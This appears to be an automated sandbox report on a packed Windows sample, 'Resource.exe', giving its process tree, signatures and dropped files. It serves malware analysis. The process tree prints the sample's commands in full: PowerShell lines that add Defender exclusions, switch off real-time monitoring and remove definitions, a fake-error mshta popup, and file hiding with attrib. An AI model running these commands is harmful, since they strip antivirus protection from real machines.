Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 11:16

General

  • Target
    Resource.exe
  • Size 7.4MB
  • Sample240613-nc8shswepe
  • SHA256 79041d419f813d07403d5ea0e190c09f63c0e9339bcf225b4588388de34aaa88
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 47 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Resource.exe
    "C:\Users\Admin\AppData\Local\Temp\Resource.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Users\Admin\AppData\Local\Temp\Resource.exe
      "C:\Users\Admin\AppData\Local\Temp\Resource.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Resource.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Resource.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Cannot run with your windows version', 0, 'Error', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Cannot run with your windows version', 0, 'Error', 0+16);close()"
          4⤵
            PID:1532
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3824
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3872
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4536
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4192
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:844
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:316
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:560
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3972
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4488
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1548
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:2284
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Resource.exe""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4380
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Resource.exe"
                4⤵
                • Views/modifies file attributes
                PID:4444
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2364
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1680

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
              • MD5 SHA1 SHA512

              VCRUNTIME140.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\VCRUNTIME140.dll
              • Size 106KB
              • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
              • MD5 SHA1 SHA512 SSDEEP

              _bz2.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_bz2.pyd
              • Size 48KB
              • SHA256 7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
              • MD5 SHA1 SHA512 SSDEEP

              _ctypes.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_ctypes.pyd
              • Size 58KB
              • SHA256 8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
              • MD5 SHA1 SHA512 SSDEEP

              _decimal.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_decimal.pyd
              • Size 106KB
              • SHA256 69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
              • MD5 SHA1 SHA512 SSDEEP

              _hashlib.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_hashlib.pyd
              • Size 35KB
              • SHA256 5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
              • MD5 SHA1 SHA512 SSDEEP

              _lzma.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_lzma.pyd
              • Size 85KB
              • SHA256 7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
              • MD5 SHA1 SHA512 SSDEEP

              _queue.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_queue.pyd
              • Size 25KB
              • SHA256 e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
              • MD5 SHA1 SHA512 SSDEEP

              _socket.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_socket.pyd
              • Size 43KB
              • SHA256 6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
              • MD5 SHA1 SHA512 SSDEEP

              _sqlite3.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_sqlite3.pyd
              • Size 56KB
              • SHA256 e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
              • MD5 SHA1 SHA512 SSDEEP

              _ssl.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\_ssl.pyd
              • Size 65KB
              • SHA256 eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
              • MD5 SHA1 SHA512 SSDEEP

              base_library.zip

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\base_library.zip
              • Size 1.4MB
              • SHA256 ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
              • MD5 SHA1 SHA512 SSDEEP

              blank.aes

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\blank.aes
              • Size 114KB
              • SHA256 bd227341619d34a4693bcca15e8025cf555584c127bd488a58f5b838c60c2646
              • MD5 SHA1 SHA512 SSDEEP

              libcrypto-3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\libcrypto-3.dll
              • Size 1.6MB
              • SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
              • MD5 SHA1 SHA512 SSDEEP

              libffi-8.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\libffi-8.dll
              • Size 29KB
              • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
              • MD5 SHA1 SHA512 SSDEEP

              libssl-3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\libssl-3.dll
              • Size 223KB
              • SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
              • MD5 SHA1 SHA512 SSDEEP

              python311.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\python311.dll
              • Size 1.6MB
              • SHA256 02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2
              • MD5 SHA1 SHA512 SSDEEP

              rar.exe

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\rar.exe
              • Size 615KB
              • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
              • MD5 SHA1 SHA512 SSDEEP

              rarreg.key

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\rarreg.key
              • Size 456B
              • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
              • MD5 SHA1 SHA512

              select.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\select.pyd
              • Size 25KB
              • SHA256 5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093
              • MD5 SHA1 SHA512 SSDEEP

              sqlite3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\sqlite3.dll
              • Size 622KB
              • SHA256 4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242
              • MD5 SHA1 SHA512 SSDEEP

              unicodedata.pyd

              • Path C:\Users\Admin\AppData\Local\Temp\_MEI50522\unicodedata.pyd
              • Size 295KB
              • SHA256 fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_efyfaha4.mym.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efyfaha4.mym.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              memory/824-82-0x000001C09ACF0000-0x000001C09AD12000-memory.dmp

              memory/1680-155-0x0000027B41890000-0x0000027B41AAC000-memory.dmp

              memory/2332-79-0x00007FF8E7ED0000-0x00007FF8E7EDD000-memory.dmp

              memory/2332-25-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp

              memory/2332-64-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmp

              memory/2332-63-0x00007FF8E7F00000-0x00007FF8E7F19000-memory.dmp

              memory/2332-66-0x00007FF8E7B70000-0x00007FF8E7BA3000-memory.dmp

              memory/2332-68-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp

              memory/2332-74-0x00007FF8D7C70000-0x00007FF8D8192000-memory.dmp

              memory/2332-73-0x00007FF8EB620000-0x00007FF8EB643000-memory.dmp

              memory/2332-72-0x000002AA17CD0000-0x000002AA181F2000-memory.dmp

              memory/2332-71-0x00007FF8E78A0000-0x00007FF8E796D000-memory.dmp

              memory/2332-58-0x00007FF8E85E0000-0x00007FF8E8603000-memory.dmp

              memory/2332-78-0x00007FF8EB3D0000-0x00007FF8EB3FD000-memory.dmp

              memory/2332-77-0x00007FF8E7EE0000-0x00007FF8E7EF4000-memory.dmp

              memory/2332-81-0x00007FF8D7B50000-0x00007FF8D7C6C000-memory.dmp

              memory/2332-56-0x00007FF8EB4B0000-0x00007FF8EB4C9000-memory.dmp

              memory/2332-54-0x00007FF8EB3D0000-0x00007FF8EB3FD000-memory.dmp

              memory/2332-30-0x00007FF8EB620000-0x00007FF8EB643000-memory.dmp

              memory/2332-60-0x00007FF8D81A0000-0x00007FF8D8317000-memory.dmp

              memory/2332-107-0x00007FF8E85E0000-0x00007FF8E8603000-memory.dmp

              memory/2332-108-0x00007FF8D81A0000-0x00007FF8D8317000-memory.dmp

              memory/2332-109-0x00007FF8E7F00000-0x00007FF8E7F19000-memory.dmp

              memory/2332-110-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp

              memory/2332-125-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmp

              memory/2332-124-0x00007FF8D7B50000-0x00007FF8D7C6C000-memory.dmp

              memory/2332-121-0x00007FF8D7C70000-0x00007FF8D8192000-memory.dmp

              memory/2332-120-0x00007FF8E78A0000-0x00007FF8E796D000-memory.dmp

              memory/2332-119-0x00007FF8E7B70000-0x00007FF8E7BA3000-memory.dmp

              memory/2332-111-0x00007FF8EB620000-0x00007FF8EB643000-memory.dmp

              memory/2332-126-0x000002AA17CD0000-0x000002AA181F2000-memory.dmp

              memory/2332-127-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp

              memory/2332-48-0x00007FF8EB4D0000-0x00007FF8EB4DF000-memory.dmp

              memory/2332-156-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp

              memory/2332-171-0x00007FF8D8690000-0x00007FF8D8C79000-memory.dmp